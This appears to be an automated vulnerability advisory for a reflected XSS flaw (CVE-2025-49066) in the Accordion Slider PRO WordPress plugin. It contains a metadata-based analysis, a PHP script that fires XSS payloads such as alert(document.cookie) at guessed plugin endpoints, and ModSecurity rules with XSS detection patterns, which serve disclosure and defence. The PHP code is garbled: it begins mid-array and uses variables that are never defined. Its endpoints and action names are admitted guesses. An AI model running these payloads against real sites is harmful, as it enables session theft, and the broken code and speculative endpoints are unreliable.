Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-49066: Accordion Slider PRO <= 1.2 – Reflected Cross-Site Scripting (accordion_slider_pro)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.2
Patched Version
Disclosed January 11, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-49066 (metadata-based):nThis vulnerability is a reflected cross-site scripting (XSS) flaw in the Accordion Slider PRO WordPress plugin version 1.2 and earlier. The vulnerability allows unauthenticated attackers to inject malicious scripts via insufficiently sanitized input parameters. The CVSS score of 6.1 indicates medium severity with scope changes affecting confidentiality and integrity.nnAtomic Edge research indicates the root cause is improper neutralization of user input during web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping. Without source code access, we infer the plugin likely echoes user-controlled parameters directly into HTML responses without proper escaping functions like esc_html() or esc_attr(). This inference aligns with common WordPress plugin patterns where GET or POST parameters are reflected in admin pages or frontend outputs.nnExploitation requires an attacker to craft a malicious URL containing JavaScript payloads in vulnerable parameters. The attacker must convince a victim to click the link while authenticated to WordPress. Based on WordPress plugin conventions, vulnerable endpoints likely include /wp-admin/admin-ajax.php with action parameters containing the plugin slug, or direct admin page URLs like /wp-admin/admin.php?page=accordion_slider_pro. Payloads would resemble alert(document.cookie) or encoded variants targeting session cookies.nnRemediation requires implementing proper output escaping using WordPress functions like esc_html(), esc_attr(), or wp_kses(). Input validation should also be added using sanitize_text_field() or similar functions. The plugin developer must ensure all user-controlled variables are escaped before output in any context, including admin pages, AJAX responses, and shortcode outputs.nnSuccessful exploitation enables attackers to execute arbitrary JavaScript in the victim’s browser context. This can lead to session hijacking by stealing authentication cookies, performing actions as the victim user, or redirecting to malicious sites. The impact is limited to the user’s current session and permissions, but administrative users could have their accounts compromised, potentially leading to site takeover.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2025-49066 – Accordion Slider PRO <= 1.2 – Reflected Cross-Site Scriptingnalert(1)’,n ”>alert(document.domain)’,n ‘`onmouseover=alert(1)`’,n ‘\”-alert(1)-\”‘n];nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);nnforeach ($endpoints as $endpoint) {n foreach ($parameters as $param) {n foreach ($payloads as $payload) {n $url = $target_url . $endpoint . ‘?’ . $param . ‘=’ . urlencode($payload);n n // For AJAX endpoints, add required action parametern if (strpos($endpoint, ‘admin-ajax.php’) !== false) {n $url .= ‘&action=accordion_slider_pro_action’;n }n n // For admin pages, add page parametern if (strpos($endpoint, ‘admin.php’) !== false) {n $url .= ‘&page=accordion_slider_pro’;n }n n curl_setopt($ch, CURLOPT_URL, $url);n $response = curl_exec($ch);n n // Check if payload is reflected in responsen if (strpos($response, $payload) !== false || n strpos($response, htmlspecialchars($payload, ENT_QUOTES)) !== false) {n echo “[+] Potential XSS found at: $url\n”;n echo ” Payload reflected in response\n\n”;n }n }n }n}nncurl_close($ch);necho “PoC scan completed. Check output for reflected payloads.\n”;necho “Note: This is a generic scanner based on common patterns.\n”;necho “Actual exploitation requires identifying the exact vulnerable parameter.\n”;n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-49066 (metadata-based)n# This rule provides virtual patching for reflected XSS in Accordion Slider PRO pluginn# The rule targets common attack vectors while maintaining precisionnn# Rule 1: Block XSS attempts via admin-ajax.php with plugin-specific actionsnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:2025490661,phase:2,deny,status:403,chain,msg:’CVE-2025-49066: Reflected XSS in Accordion Slider PRO via AJAX’,severity:’CRITICAL’,tag:’CVE-2025-49066′,tag:’WordPress’,tag:’Plugin’,tag:’Accordion-Slider-PRO’,tag:’XSS'”n SecRule ARGS:action “@rx ^accordion_slider_pro” “chain”n SecRule ARGS “@rx (<script|<svg|javascript:|on\w+\s*=)" \n "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"nn# Rule 2: Block XSS attempts via admin.php with plugin page parameternSecRule REQUEST_URI "@streq /wp-admin/admin.php" \n "id:2025490662,phase:2,deny,status:403,chain,msg:'CVE-2025-49066: Reflected XSS in Accordion Slider PRO via admin page',severity:'CRITICAL',tag:'CVE-2025-49066',tag:'WordPress',tag:'Plugin',tag:'Accordion-Slider-PRO',tag:'XSS'"n SecRule ARGS:page "@streq accordion_slider_pro" "chain"n SecRule ARGS "@rx (<script|<svg|javascript:|on\w+\s*=)" \n "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"nn# Rule 3: Block direct access to plugin files with suspicious parametersnSecRule REQUEST_URI "@beginsWith /wp-content/plugins/accordion_slider_pro/" \n "id:2025490663,phase:2,deny,status:403,chain,msg:'CVE-2025-49066: Reflected XSS in Accordion Slider PRO via direct file access',severity:'HIGH',tag:'CVE-2025-49066',tag:'WordPress',tag:'Plugin',tag:'Accordion-Slider-PRO',tag:'XSS'"n SecRule ARGS "@rx (<script|<svg|javascript:|on\w+\s*=)" \n "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase""
}
“`

Differential between vulnerable and patched code

Proof of Concept (PHP)

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